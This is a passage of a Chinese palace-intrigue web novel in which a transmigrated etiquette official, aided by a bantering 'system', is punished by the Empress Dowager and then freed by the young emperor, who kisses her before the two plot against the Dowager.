云黛由着她说,都是关心的话,没什么好反驳的,而且绿翘说的也是真话,她又不是原身。 “那个……”云黛有点难以启齿,“陛下那边,有什么动静吗?” 绿翘摇头,“奴婢没有听说乾坤宫那有什么情况,那边除非有很严重的事,否则传不到这来。” 说着,绿翘建议道:“大人您若是担心陛下,亲自去看看。” 云黛刚想说不,绿翘又道:“陛下看起来挺喜欢您的,回回都派小福子来接您。” “……” 一下就想起骆明烛之前说在意自己,还有昨晚那几次吻,眼前又浮现骆明烛在自己面前哭着说难受…… 她猛地捂住脸,阻止自己去想。 但骆明烛跟个阴魂不散的艳鬼一样,一直在脑子里晃,怎么都赶不出去。 “系统,坏了。” 系统不想理她,但配合她:“怎么了宿主?” “我可能被骆明烛喂了蛊毒。” “蛊毒的名字叫骆明烛是吧。” 云黛震惊:“你怎么知道!” 系统:“……” 云黛正想和系统再说几句,就听绿翘喊自己:“大人,王嬷嬷来了。” 心头一跳,开始后悔昨晚为什么没有跑路。 没急着出去,将碗里的粥喝完,让绿翘在厨房里头待着,她自己去见王嬷嬷。 等她苍白着脸,一副病态走到王嬷嬷面前,就被她问:“尚仪大人这是怎么了,看起来脸色不大好。” 云黛边卖惨边说,说自己昨晚下不了手,从骆明烛那离开后,以冷水浇身,以此让自己清醒,洗清身上亵渎骆明烛的罪孽。 王嬷嬷一听,立刻冷了脸:“昨晚,你没有与陛下——” “没有。”云黛立刻否认,说得有点猛,脑袋一阵眩晕,差点没站稳。 王嬷嬷冷眼盯着她,怒气往上冲,“太后昨晚怎么下达命令的?” 云黛心里把袁络仪骂了十遍,面上还得装惨,“臣起初是铁了心一定要完成太后嘱托的任务,但臣一看到陛下,便想到往日里陛下乖巧认真学习的模样,心有愧疚,难以继续。” “且陛下幼时屡次受伤,无人安慰,臣若是对陛下做这种事,岂不是会令陛下失去对臣的信任?” 王嬷嬷冷哼一声,看云黛的眼睛冒火,眼神上下扫视她,忽然冒出狞笑。 有没有真做到那一步,可不是她云黛一句话就能信的,得去查验了,才知是不是。 “你,与我去见太后。”她一甩手,掉头就走。 云黛冲她翻了个白眼,学着她的样子甩手,无声说:“你,与我去见太后。” 路上在心里把袁络仪骂了几百遍,一直跟系统蛐蛐袁络仪。 “等骆明烛把袁络仪扳倒,我也要喊人教袁络仪那玩意,我也要喊人和袁络仪做。” 系统:“你算了吧,骆明烛能不能扳倒袁络仪另说,你这么做,和袁络仪有什么区别?” “区别就是我这么做是报仇,袁络仪是纯纯心眼坏。” 但在袁络仪面前她就不是这么说的了。 所谓在人面前讲人话,在鬼面前讲鬼话,她在袁络仪面前就讲屁话。 “臣心中有愧,见到陛下就手软……”这话是真的,愧疚自己给骆明烛下药,见到骆明烛手软是因为她被骆明烛吻的时候身子都软了,那手不得也软。 反正她就这么说,袁络仪绝对不会杀她。 要杀前几次早就杀了,怎么可能会留着她这么久,次次威胁,次次没啥用。 头顶传来袁络仪的冷笑,云黛知道这次是保住命了,但袁络仪不会这么轻易放过她。 “哀家知道陛下懂事,惹人疼。”后面三个字咬字很重,这是在不满呢。 “可你屡次将哀家的命令抛之脑后,”袁络仪站起身,走到云黛面前,鞋头不知道什么玩意做的小东西一颤,她的话就砸下来。 “想来云尚仪该是忘记了入宫要学的第一件事。” 云黛觉得袁络仪要罚她了。 袁络仪一挥手,蔑视的眼神落在云黛身上,嘴角一扯,轻飘飘决定她的去留:“那就回去再学学,什么时候记得了,什么时候再回来。” 王嬷嬷冲云黛说:“你该谢谢太后,若非太后心慈,你现在已经被砍了脑袋了。” 云黛深呼吸,我真谢谢你啊! 王嬷嬷直接拖她去了浣衣局,给她安排了数不清的衣服去洗,还明里暗里喊那群宫女给她使绊子。 云黛看看堆积成山的衣物,再看看远处朝自己投来不怀好意目光的几个宫女,呵呵一声。 “系统,我要跑路。” “你昨晚怎么不跑。” 云黛恨恨瞪了那群宫女一眼,“我本来想今天去看看骆明烛的,和他说清楚,结果袁络仪把我赶来这了,我没有机会啊。” 幸亏早上把那碗粥喝了,不然现在都要饿得虚脱。 云黛还没干什么呢,那群宫女就跑过来,对她指指点点,盯着她洗,连解决生理需要都要被看着。 云黛咬牙,等晚上回去,去乾坤宫看一眼骆明烛就走。 “你不想扳倒袁络仪了?” 云黛将挤干水的衣裳往盆里一扔,冷笑一声:“扳啊,我要起义!推翻袁络仪霸权统治!” 系统觉得云黛可能有一点疯了。 小福子打听到云黛竟然被关去了浣衣局,急忙忙向骆明烛禀告,他说完急得想现在就去看看云黛,结果只看到骆明烛在书房练字。 “陛下,您不担心她吗?” 少年天子不理他。 手中动作越来越快,看手腕转动轨迹,该是重复在写同一个字。 骆明烛忽然扔了笔,笔撂在桌上的声音有点大,吓了小福子一跳。 他小心翼翼抬起眼皮去看,只见自己的主子垂眸望着画纸,神色怏怏。 那画纸上,全都是重复的墨迹,只有两个字,“云黛”。 不耐的声音响起:“她现在在哪?” 小福子立刻笑了起来:“回陛下,尚仪大人现在还在浣衣局!” 骆明烛将写满她名字的纸揉成一团,点燃了蜡烛,将纸团覆在火苗上。 逐渐扩大的火焰映照着他的脸,将他的眼眸照得一清二楚。 “今日黛姐姐应该来给孤授课的。” 小福子跟着点头,拿 了东西去接纸团灰烬,刚要去把灰烬倒了,被叫住。 骆明烛问他:“你觉得,她是愿意留在浣衣局,还是跟孤回来?” 小福子直接说:“那定然是想与陛下回来的。” “是么。” 骆明烛虚虚握住那只昨晚按住云黛唇的手,眼底浮上意味不明的笑。 “孤也是这么觉得。”—— 作者有话说:谢谢家人们的营养液,这章久等了,晚上还有一章 第26章 若是不愿意,杀死就好了。 死人是不会说不愿意的。 骆明烛扫了眼砚台下压着的几张纸,上头透着墨迹,是云黛之前写过的那些“治国理念”。 垂眸半晌,未再说一句话,径直往外走。 小福子连忙跟上去问:“陛下现在就要去浣衣局瞧尚仪大人吗?” 未等到骆明烛回答,便见着他往寝殿走。 小福子不是很懂,方才陛下不是说要去看云黛吗,怎的又回去了。 疑惑间就听骆明烛吩咐:“孤要休息,有人来,你便赶走。” 小福子哎了一声,跟着他进了寝殿,将殿门带上,将灰烬倒在树根下,守在乾坤宫前。心里还是觉得奇怪,怎的陛下又不去了? 云黛被太后罚去浣衣局,处境定然要比在乾坤宫艰难多了,陛下就不担心? 小福子摸不着骆明烛想的什么,只得老老实实守着门。 那边云黛已经精疲力尽,指甲都撕裂好几根,堆积的衣衫如山,一点都望不到头。 周围来的宫女都闭着她,不和她说话了。 “至于嘛,我就问问她们一个月工资多少,怎么都不理我了。” 系统:“你这样很不礼貌。” 云黛拧干水,往桶里一扔,见着桶满了,趁机提着去晾晒。 “我在这不待个十天半个月,袁络仪是不会让我走的,我得找机会自己跑。” 系统有点担心:“宫里都是袁络仪眼线,你不在,马上就会汇报给她,到时候你门都摸不到,就被抓回去了。” 云黛也在担心这个,越发后悔昨晚怎么不跑路,非得坚守那么一点责任心看到骆明烛才走。 现在骆明烛没看见,人跑这来受罪。 “除非我回去跟袁络仪说,马上就和骆明烛干那事。”云黛把桶一放,拿起衣衫晾晒。 “那你说,我是那样的人吗?” 系统:“你可以是。” 云黛差点没把衣衫给掉地上去。 “胡说,我是三好公民,这种事我才不干。” 系统提醒她:“你不是这个国家的公民,袁络仪还想杀你呢。” “对哦,”云黛想起来一件事,“那晚要我给骆明烛下药的黑衣人,昨晚是不是没出现?” 系统:“不知道啊,你俩亲的时候我下线了。” 云黛想把这个系统揍扁,一脚踹了。 “别跟我提骆明烛。”她把衣服晒完,仔细瞅四周,边上的宫女都认得她,除了那些个被王嬷嬷特地嘱咐过的,这些宫女不敢冒犯她。 提起空了的木桶,她没往回走,而是朝通往浣衣局外面的路走。 还是想看看骆明烛现在什么情况,昨晚走得急,没有确定他的药有没有解了。 云黛脚步越来越快,后面有人在撵她似的。 不过居然很顺利地出去了,这是她没想到的。 将木桶藏起来,本来想直接去骆明烛那的,一看衣摆,湿透了,袖口也是全湿的,鞋袜都湿了,这么过去看着有点像从水里捞出来的,惨兮兮。 “系统,你有工资吗?” “没有。” 云黛瞅了眼左右两个方向,一个通往乾坤宫,一个通往她房间,想了会,直接回自己房间。 “你要是有工资,我就要举报你,让你上司扣你工资。” 云黛从来没见过这么没用的系统,天天下线,还以为它跟个监控摄像头一样能保留证据,结果一到关键时候下线。 “我跟你说,我以后睡觉你得看着,昨晚我都不知道被谁捞出来的,你说我要是昨晚出了事——” 云黛晕了。 系统被迫下线。 云黛醒来的时候,就看到王嬷嬷拿着那细长的银针要戳她手指,吓得往回缩手,回过神来一看,这地方她没来过,但原身的记忆里有。 这里还是永寿宫,却是永寿宫用来教训不听话奴才的小黑屋。 一看王嬷嬷这架势,就是要教训她。 “系统,她要学容嬷嬷扎针了。” 系统:“你少看点电视剧。” “这次是真的呀!” 云黛缩了手,扯出笑:“有话好说,有话好好说。”你拿着个针晃来晃去干什么! 王嬷嬷狞笑:“原来云尚仪也会怕这个,我当云尚仪胆子有多大,连私自跑出浣衣局的事都能做出来,应该是不怕被太后发现,问你罪责的。” 云黛笑不出来,她哪知道外头还有人看着自己,刚出来那么一会,就被抓到了。 但还是要争取免罚的,这玩意戳进去是真的痛啊! “我那是关心陛下,想去看看陛下情况……” 王嬷嬷不信:“那云尚仪怎么是朝着反方向走的?” 云黛想说自己是回去换个衣裳,总不能穿着一身湿衣服见人。但这些她没说,王嬷嬷会盯着她就是受了袁络仪的命令,归根结底不就是昨晚她没上骆明烛吗? 那她保证会上了骆明烛不就完了? “经过这几个时辰的磨炼,臣已经知道自己错在何处,嬷嬷你放心,臣定然会竭尽全力完成太后交代的任务,必然不会再让太后失望。” 云黛没指望王嬷嬷能立刻放自己走,只想着先把眼前这一关过掉。 果不其然,王嬷嬷没有信。 “我瞧着云尚仪还没有想透,还是在此处再认真想想,该要如何为太后效力。” 王嬷嬷随手将银针扔了,倒是没有对云黛做些什么,转身就走。外头传来上锁声,锁链被松开后发出撞击门板的声音。 云黛的心也随着这声音落下。 “系统,我被囚禁了。” 系统:“抱歉宿主,你被打晕后我被迫下线了。” 云黛没有理它,说自己的:“这要是在我那,就能报警抓她们了。” 系统小心翼翼问:“宿主,你是不是哪里不舒服?”不然怎么会说这玩意呢? 云黛想嚎一嗓子,这都什么事啊! “我跟你说,昨天晚上我就不应该心软,直接上了骆明烛,一点事儿都没有!” 系统没敢作声。 “现在想去,人家都不给你这个机会了。” 云黛站起来,拉了一下门,拉开了一条缝隙,外头什么人都没有。这地方很偏,叫破嗓子前殿的人都不会听到,是虐人谋杀的好地方。 她又使劲扯了几下锁链,牢固得掌心都破了皮,锁链纹丝不动。 “系统,给地府打电话,我准备去排队投胎了。” 系统:“……” 这人病得不轻。 云黛已经没什么力气了,早上就喝了一碗粥,洗了一上午衣服,中午连饭都没吃的上,就被人关小黑屋,造孽啊。 关键是这小黑屋连个窗户烟囱都没有,想跑就只能劈开这门。 云黛踹了一脚房门,差点没给自己脚踹疼了。 最终她坐在草席上,看着对面的木柴发呆。 有点想骆明烛。 云黛烦躁地摇晃了一下脑袋,这一摇,给她摇晕了,扶着脑袋缓了好久,哼唧唧一声:“系统,有没有什么办法能快点扳倒袁络仪。” 系统:“最便捷的办法就是你杀了袁络仪。” “……”云黛现在是没力气和系统诡辩,干脆不理它,说了跟没说一样。 她抱着自己膝盖,开始想明天,后天, 想以后。要是一直待在这里,要做那些乱七八糟的东西,良心又过意不去,那岂不是要走向和原身一样的结局? “要是骆明烛能厉害到可以扳倒袁络仪就好了。”她小声说,低头抠草席上破烂的草。 时间一分一秒过去,没有一个人靠近这,云黛经历了肚子饿得咕咕叫,饿得头晕眼花,连站起来的力气都没有,直接躺在草席上。 这个时候她还在开自己玩笑。 “我要是饿死了,这个草席就能把我卷走。” 系统安慰她:“袁络仪不会饿死你的,可能等一会她们就会来放你走。” 云黛不信,宫斗剧里小角色都是这么被饿死的,要么就是送来一碗断头饭,然后就被毒死了。 她熬到撑不住,缩着身子昏睡过去。 夜幕降临,屋子里一点光都没有。 啪嗒一声,很微弱的响声,几乎听不见。 门开了,一道黑影走进来,缓缓走到昏睡着的人跟前,垂眸看她。 能听到她粗重的呼吸声,比昨晚加重了些。 目光从她张着的唇缓缓下移到她脖颈,来回游移。这间屋子没有一丁点光,他的眼眸彻底融入到黑暗中,看不出一丝情绪。 他蹲下身,右掌从她后颈穿过,抬起她脑袋,将瓷瓶里的液体喂入她口中,随后直接松开她,却没有立刻离开。 本来是想下午见见她,谁知人被袁络仪提前带走,只得晚上来。 骆明烛瞧着她现在这副脆弱模样,知道她一日未进食,当是饿极了。 “若是昨晚,你按她吩咐的来做,今日便不会吃这些苦头。” 曲起手指抚过她脸颊,冰凉的。 “黛姐姐再吃些苦头吧,这样才能记得牢。” 他收回手,却瞬间被抓住。 骆明烛瞬间反握住那只手,眸光犀利射向云黛,却发现她根本没睁开眼。 “我要推翻袁络仪霸权统治!” 她只是在做梦。 “都怪袁络仪!” 说梦话的声音不大,但怨气不小。 骆明烛紧绷的身体松下来,但没有松开她。 他忽然问:“那孤呢?” 正在做梦的人听到那道念了一天的声音,立刻抱住那只手,狞笑一声:“我要骆明烛哭给我看!” “还要随便给我亲!” 空气似乎有那么一瞬间凝滞了。 骆明烛一点点的从她手里抽出被她抱住的手,漆黑的眼底看起来与黑夜一般平静。 抽走最后一根手指时,他站起身,面无表情盯着还在睡梦中的人,嘴角扯出冷笑。 “肤浅。” 他转身就走。 刚走了没两步,身后传来低低的啜泣声:“我想家了。” 离开的步伐停滞,骆明烛转身,瞧见她眼角滑落的泪,就那么一滴,从眼尾那成型,慢慢地往下滑。 喉头滚动了一下,骆明烛盯着那滴泪,久久未移开眼,泪水快要滑落到发间时,他忽然快步走到她面前,蹲下来,指腹抹去那滴泪,送到口中,舌尖舔舐,传来的味道令他蹙起了眉头。 “苦的。” 不好吃。 他摁了一下云黛眼尾,将泪渍彻底擦干净,再用帕子擦干净自己的手指,站起身,转身离开。 门被锁上,一切都与之前没什么区别。 第二日一早,云黛还没醒来呢,就听到有人在哭,正想让那人别哭,别打扰她睡觉,一睁眼,就看到骆明烛凑在自己眼前,欣喜地望着自己。 “黛姐姐,你醒了!” 云黛眨了眨眼,瞪大眼睛去看,发现真的是骆明烛,张口就说:“陛下,我没带帕子,不能帮您擦眼泪。” 少年天子摇头,睁着泪珠浸透的眼看她,张口就给她带来个爆炸性消息:“孤请母后放过你,母后说,只要孤学会你交给孤的礼仪,便不会追究。” 他说着,竟然有几分激动:“黛姐姐,你现在就教孤吧。” 云黛瞅瞅这地上的破草席,再一看骆明烛这副真以为只是单纯学礼仪的表情,脑中仿佛有十几匹马跑过。 “你,你让我缓缓。” 这种事,能在这种地方做? 第27章 “陛下,我现在状态不是很好,暂时无法教你。”云黛感觉自己随时都会晕倒,已经饿得没有知觉了。 她艰难开口问:“你去求了太后?” 少年天子点头,神情有些难过,没有说话。 云黛一看就知道袁络仪又为难骆明烛了,一股火冒上来,窜起来就要往外走,但高看了自己现在的身体情况,刚起来就倒了回去。 “太后怎么说的?” 一天没吃饭喝水,嘴唇都干得裂开。说话时觉得有点疼,但没在意。 她的唇中裂了一道口子,血蔓延出来,不多,只是与她苍白的唇色相比,更能吸引骆明烛目光。 那晚她的唇是软的,不像现在,干得起皮裂开。 好难看。 骆明烛没有回答她的问题,眼底划过一道幽光,指尖忽然按住她的唇,稍一用力,便看到眼前的女子露出痛色,往后缩。 隐匿的笑从一闪而过,他在云黛问自己为什么要这么做前,已经开口:“黛姐姐这里流血了。” 他将指腹摊开到云黛面前,指腹上确实有一丝血痕。 云黛愣了一下,没想到他会直接碰自己的唇,脑子有点转不过来,直接拿手给他把血抹去,小声说:“我这是许久未喝水,太干了。” “嗯。”骆明烛反应平淡,大拇指不动声色地按住被她擦过的手指,垂下眼帘,没有说话。 云黛在收拾自己,这次是骆明烛救了自己,下次再出事,袁络仪不可能再给骆明烛机会,怕是以后真的要跟骆明烛那啥了。 救命啊! 云黛整理好衣衫站起来,出去前,小声问他:“太后有没有跟你提什么要求?” 骆明烛缓缓眨了一下眼,抬头看她,说:“母后并未提要求。” 云黛不解,这不像是袁络仪的作风,都把她关在这了,怎么可能不趁机威胁骆明烛,袁络仪有这么好? “回去再说。” 云黛着实没有什么力气,好在小福子在外头等着,见状来扶她。她直接靠在他身上,把全身重量都放在小福子身上,轻松多了。 出去的时候又遇到王嬷嬷,被阴阳怪气了好几句,云黛没作声,在心里骂她。 一个两个都是老巫婆,等骆明烛把袁络仪推翻,看她怎么教训这两个老巫婆。 云黛本来想先回自己房间再收拾收拾,结果骆明烛直接让她去他那,刚要拒绝,就听小福子叽里咕噜一顿说。 “陛下昨日本想去看你的,谁知道你被太后罚去了浣衣局,陛下知道后可担心了。” 云黛悄悄瞥了眼骆明烛,见他垂着头,不知道在想些什么。 “陛下去浣衣局看你时,没一个人知道你在哪,陛下担心得一宿没休息好,今日一早便去太后那问你在哪。” 云黛慢吞吞地哦了一声,心道这学生还挺好,这么关心老师。 “这次是陛下在太后那跪了大半个时辰,太后才肯免了你的罪——” “你说什么?” 云黛登时有力气了,站直了瞪着小福子,本来被袁络仪威胁囚禁就很不爽,听到袁络仪是怎么答应放过她时,气得头顶都能冒火。 小福子为骆明烛委屈,也很气愤。 幸亏他们已经回了乾坤宫,否则这话要是被外人听见,必然又要遭劫难。 “陛下为了你在太后寝殿前跪了大半个时辰!” 小福子刚说完,骆明烛的声音响起:“够了,你退下。” 小福子更心疼骆明烛了,朝云黛使了个眼色,这才退出去。 骆明烛在矮桌后坐下,垂着头,提起笔,却没有动,顿了会,才说:“再等一会,待汤池准备好,尚仪大人便可沐浴。” 云黛望着他,想到他先前说袁络仪没有对他提什么要求,原来是他跪了那久,袁络仪才松口。 这是什么破当妈的!就这么对自己儿子! 好你个袁络仪,你等着,我一定要把你扳倒! “你先前怎么不 与我说,太后要求你那样做?” 骆明烛能听出她声音里克制的怒火,这正是他要看到的效果。抬眸望她时,却是笑着的。 “只要能救出尚仪大人便好,其余的,不用说出来。” 云黛只觉得他的笑容是苦涩的,一点没有她能被救出来的开心,连带着她也苦涩起来。 “其实你没必要这么做——” “尚仪大人上次救了孤,当是孤还你一次。”骆明烛垂头,提笔写字。这句话没有说话,将上次欠的人情还回去,一笔勾销,此后他便能彻底放开,弄清她究竟是何人。 云黛刚想说不用,外头响起敲门声,小福子的声音传进来:“陛下,尚仪大人,汤池准备好了。” 骆明烛对云黛说:“尚仪大人可以去沐浴了。” 云黛没有再说,先把自己收拾好,到时候再和骆明烛说清楚。 待她看到那汤池后,和自己那浴桶一对比,爆发出无声的尖叫。 “系统,要不我把袁络仪和骆明烛都推翻了吧,我想当皇帝!” 这么大的浴池,在里面游泳也绰绰有余啊! 系统:“我觉得你推翻了袁络仪,就能坐皇位,骆明烛不会拒绝你的。” 云黛呵呵一声,褪了衣裳,走进去,水温有点烫,但能忍受,适应了就会觉得很舒适。她在里头游了一圈,开始羡慕骆明烛。 “还是当皇帝好啊!” 热气升腾,蒸得人体温升高,面颊升上红。 透彻的水下肌肤白皙,云黛看了会,发现了个不对劲的地方。 “系统,原身左腿膝弯有痣吗?” 系统立刻回答:“没有。” “奇了怪了,这颗痣和我的一样。”云黛之前在浴桶里沐浴,地方小,只能快点洗完,现在才注意到这颗痣。 “算了,可能书里没写吧。” 她巴适地靠在边上,由着热水洗走一身的疲倦,然后,又睡着了。 热气蒸得她脸色越发红润,额间冒出汗珠,连成串,从额头滑落,坠入汤池里。 寝殿内骆明烛已经写满无数张纸,都未曾见云黛出来。将这张写满诗句的纸张抽开,在新的空白纸张上刚写下一字,蓦地抬头。 冷峻的眉头蹙起,他看着殿门的方向,莫名想到那晚云黛在浴桶里睡着。 方要叫小福子去看看,打消了念头,丢下笔,亲自去。 雾气弥漫的汤池内,一走进去,水汽扑面而来,他甚至不用再往里走,便看到女子靠在池边,闭着眼睛睡着了。 乌发贴在她脸颊上,被雾气浸透的皮肤分外白嫩,垂着的眼睫上都挂着水珠,颗颗水珠滑落脸颊,落到她唇上。 这双方才看着还干燥的唇,此刻像是在蜜中浸泡过一般,红润饱满,裂开的口子已经愈合,瞧不出一点血迹,但唇上,处处都是与血一般鲜红。 湿发垂在她胸前,遮住锁骨,隐约能看到她纤细的脖颈,再往下,便没入了水中。 骆明烛几眼扫过,收回目光,却没有进去抱起她,由着她继续泡。 他在汤池里加了些药材,对身体有益,多泡一会不会出事。 他也没有离开,垂下的眼帘里只有她靠在汤池边上的脑袋,这么看,她其实要比之前看到的瘦弱些。 许是昨日一天没吃东西,饿的。 骆明烛看她的眼里生出了笑意,并非纯粹的笑,而是那种带着一丝嘲讽,还有几分连他自己都没有察觉到的欢喜。 片刻后,他转身离开。 几乎在他回到寝殿时,云黛醒了。 “又睡过去了。”拍了拍自己的脸,清醒过后连忙上岸,换上干净的衣衫,往骆明烛那去。 “系统,原书里原身死的时间点大概在什么时候?” 系统查了一下,说:“还有不到两个月,中秋前。” 云黛心里一个咯噔,那她要快点准备了。 刚进到寝殿里,便嗅到香味,转头一看,矮桌上放着几碟小菜,还有米饭。 视线一抬,就见着骆明烛对自己笑:“尚仪大人该是饿了,来用膳吧。” 云黛快步走过去,坐下来,看着这些菜,感觉自己又活过来了。 “谢谢陛下,你是个好人!” 骆明烛的笑容缓缓收了回去,他看着面前已经埋头开吃的女子,轻轻问了一句:“尚仪大人觉得孤是个好人?” 云黛嗯了一声,给她准备沐浴和饭菜的,通通都是好人。 骆明烛不想听到她说自己是好人。 按在桌面的手指开始敲击桌面,频率越来越快,但他面前的人好像没有听见,还在吃饭,还吃得很香。 骆明烛没由来的觉得烦躁,停下手,站起来,丢下一句尚仪大人慢慢吃,就要离开。 云黛立刻放下碗筷,有话想要跟他说,没顾得上礼仪,直接拉住了他的手,说:“我有些事要与你商量。” 骆明烛垂眸望着她拉住自己的手,那手上还有几道红痕,手指上破了好几处皮,显然是在浣衣局弄出来的伤。 眼一抬,对上她期盼的眼。 这双眼看他时,依旧是那副办公事的正经,昨晚她说的那两句话梦话,果然不能当真。 “尚仪大人要商量什么?” 云黛立刻说:“我想去找贺大人,让他帮帮你。” 骆明烛嗯了一声,语气平淡:“还有吗?” 云黛松开了他的手,有点难以启齿,没敢看他,“还有就是,日后我要教陛下更多的,男欢女爱那方面的事。” “是吗?” 这两个字说得很轻,云黛的心脏一跳一跳的,心虚还觉得刺激,为了掩饰自己,继续扒饭。 也就没有发现站着的骆明烛此刻看自己的眼,深沉得可怕。 少年天子笑了起来,语气忽然变得轻快:“好呀,那黛姐姐可要认真教。” 第28章 吃饱喝足后云黛其实想出去溜达溜达,但是吧现在这地不是自己家,不好溜达,等宫女收拾完,她准备跟骆明烛商量扳倒袁络仪的大计。 特地小小福子在外头守着,门关上,窗户半掩着,全关了一看就知道在做坏事。 “陛下,你就没有想过,壮大起来,把权力攥在自己手里吗?” 掩着的窗户恰好挡住光线,骆明烛又坐在背光面,稍微一低头,脸上表情便看不清。 他似乎有点疑惑,问她:“为何要这么做?” 云黛有点急,说话语速不由自主地快了些,“这样你就不用去求太后,太后要罚我,也得问过你的意见。” “简单来说,就是你想做什么,就做什么,不必看别人脸色。” 骆明烛转动了一下手腕,五指虚虚握住,这是一个掐脖颈的姿势。曲起的手指彰显着力道,这只手只要稍一用力,便能掐断人的脖颈。 云黛着急说自己的计划,没有发现他的动作。 “若是我说,陛下日后会被奸人所害,你还要如现在这般就这么等着被杀死吗?” 骆明烛蓦地抬眸看她,眼神转换得很快,从听到她这句话时散发出杀意,到如今的疑惑不解。 “尚仪大人所说的奸人,是谁?” 他问的是谁杀他,而不是问她怎么知道有人会杀他。 云黛没直说,暗示道:“最有权力的那个。” 这已经相当于明说了。 骆明烛眼底划过了然,轻轻敲击桌面,忽然沮丧起来:“可是孤不知道该如何做。” 云黛一听就知道有戏,激动道:“我可以帮你啊!” 深邃的眸光落在她脸上,骆明烛将她此刻的真挚看尽眼底,她没有撒谎。 疑惑一闪而过,骆明烛不是很懂她为什么要帮自己,她不该为她自己求生路,去投靠袁络仪么,毕竟现在袁络仪的权利最大,他什么都没有。 “孤能做到吗?” 云黛一把抓住他的手,连连点头:“包的,肯定能。” 她激动的时候,意识不到自己做了什么,还一个劲抓着骆明烛的手不 放。 她的掌心是热的,覆盖上来如火团一般,烫着了他手背。 骆明烛动了动手,没抽得动,微微蹙眉,垂眸看自己与她交握的手。 她手上的伤还没好,几条红痕交错,看着有些刺眼。此刻这只手用力地攥住他,手背凸起三根骨,衬得她的手有点瘦。 该补补。 骆明烛收回视线,回应她说的话,“孤会试试。” 此话一出,云黛肉眼可见地高兴起来,松开了他的手。 骆明烛望着她激动得站起来,目光探究。这么希望他掌握实权,她这么希望袁络仪倒台? 云黛当然希望袁络仪倒台了,巴不得袁络仪马上就被扳倒。 “系统你看,我牛不?” 系统:“宿主你太厉害啦!你居然能让骆明烛答应你开始奋斗,你果然是最厉害的!” 虽然系统这个马屁拍的很一般还有阴阳怪气的嫌疑,但云黛不介意。 “会说,多说。” 系统:“……” “没电了说不了。” 云黛没再理系统,把最要紧的事说完,接下来就好办多了。 等她想到还有个任务没开始,头疼了。 比起帮骆明烛扳倒袁络仪,教他男欢女爱才是最难的。但是吧,说难也难,就是她羞耻心太强,不好意思做这事。 但是吧,不干不行。 哦对了,还有件事没有说! 云黛组织了一下语言,小心翼翼地瞄了眼骆明烛现在的表情,他看起来也没有生气,应该没有在意她那天晚上做的事吧。 “我……”她支支吾吾说不出来,干脆拿了笔写下来,等她把写好的纸张递过去时,一眼撞见骆明烛看自己的眼。 有那么一瞬间,她好像在这双眼里看到了探究,等她仔细去看时,他已经垂眸去看纸上的字了。 写了三行字,说长也不长,但骆明烛看得很慢,云黛本来不紧张的,可他迟迟没看完,搞得她的心怦怦直跳。 她试探问:“陛下?” 骆明烛听见她在喊自己,但没有应。实际上他已经将这行字看了数遍,每一个字他都认识,组合在一起,第一反应只有冷笑。 她说那晚是个误会,她是被威胁了才会给他下药,让他不要往心里去,忘了就好。 纸张的边角被他捏出了褶皱,力气再大一点,便会裂开。 骆明烛忽然后悔,那晚应该在她跑出去前,把她抓起来,绑住,囚禁,问清楚她从何而来。 而不是在她对他做了那些后,放她离开。 这么多年只有她一人近他的身,与她行如此亲密之事,她倒好,直接说忘了。 骆明烛放下纸,竟然还有心情用同样的方式回答她。他提笔,在云黛注视下,写了两个字。 “不可。” 云黛瞪大眼睛看这两个字,看到他写不的时候,心跳就漏了一拍,现在更是不知道该怎么说。 骆明烛这是什么意思,说他忘不了吗? 这怎么行,那晚是个错误! “陛下你听我说,我真的不是故意要那么做的,我是被威胁——” “孤知道。” 骆明烛那张极具魅惑力的脸忽然靠近,随之而来的是下巴上的冰凉,云黛感觉到他的手托起自己的下巴靠向他,他稍稍偏头,吻住了她的唇。 刹那间云黛觉得自己脑海里炸开了烟花,还有人在自己心里打鼓。 很软很软,像棉花糖一样,吃了一口还想吃。 云黛只看到他半垂着眼帘,离得这么近,能清楚看到他棕褐色的瞳孔,很漂亮,像琥珀。 一时间五感都被眼前的人霸占,脑子里除了他,什么都没有。 人怎么可以这么犯规。 在她眼里骆明烛是那盛开的艳丽的花,不住地吸引她目光。在骆明烛眼中,她是个狡猾还胆小的兔子,一有不对劲就要跑,只能先绑住她双腿,才可以阻止她逃避。 垂着的眼帘一颤,缓缓掀开。 骆明烛轻轻咬了一下她的唇,看到她吃痛的反应,卷翘的睫羽张开,瞪着眼看他,眼里错愕,还没反应过来。 他觉得那晚云黛给自己下的不是他给她的桃花散,而是某种蛊,否则他怎么会十分想念她唇的滋味。 主导者松开了迟钝的人,指腹按了一下她嘴唇先前裂开的位置,差不多愈合了。 按下去的手感很好,骆明烛垂下手,两指捏合摩擦了一下,松开了。 这一维持了几秒的动作给了云黛缓神的时间,一反应过来,只感觉大脑发热,心一个劲地乱跳,还有点呼吸不过来。 她直愣愣望着始作俑者,都忘了之前要说什么。 “你刚刚,你刚刚……” 少年天子朝她露出眷恋的笑意,这笑很快被他收回去,沮丧与失落替换上来。 眼尾一垂,眨了眨眼,眼里就有了水光。 “孤说过,孤在意黛姐姐,可是黛姐姐要孤忘记那晚的事。”他说着,轻轻眨了一下眼,啪嗒一声,一滴泪从他眼中坠落,砸在纸上,晕开了云黛写的字。 “孤做不到。” 云黛脑子里全都是他在意自己,他做不到。 “啊啊啊,系统,我要完了。” 系统不明白:“哪里有问题?” 云黛望着骆明烛哭得那么伤心的模样,感觉自己的心也一抽一抽的疼。 “骆明烛他该不会是,该不会是喜欢上我了吧啊啊啊!” 系统:“……” “我觉得有可能。” 云黛倒吸一口气,还没说话呢,骆明烛又落了一滴泪,砸在纸上,声音特别响,弄得她的心跟着猛猛一跳。 “我只是,那晚只是,你怎么——” “哎呀!” 云黛自己都说不清楚了,刚要说让他别哭了,结果亲眼看到他两只眼睛,一左一右,同时掉下眼泪。 他的眼眶说红就红,眼泪掉得越来越快,全都砸在纸上,一滴没沾到他脸颊。 云黛看不得他哭,这人不哭是那种很正常的好看,他一哭,就好像有人对他做了很不好的事,给他欺负哭了,而且看着更容易激发人心底的阴暗面,想变本加厉地欺负他。 “我不说这个,别忘,不让你忘了行了吧。” 少年天子不答应,“黛姐姐也要记着。” 云黛心说自己记着呢,从那晚一直到现在,还做了个梦。谁也没她记得深。 注意力全被他哭泣的模样吸引,都忘了问他为什么突然吻自己。 “我不会忘的。”她艰难开口,摸了摸口袋,没有帕子,只好上手给他擦眼泪。 “你别哭了。” 隔着矮桌,她得朝他倾斜一点身子才能擦得到。指腹扫过他眼尾,他闭上了眼,眼泪滴在她手上,居然很烫。 云黛猛地收回手,小声说:“这么会哭,谁看了都没法拒绝。” 这话被骆明烛听见,唇角勾起,被他立刻压平,睁开了眼,假装没听到这句话。 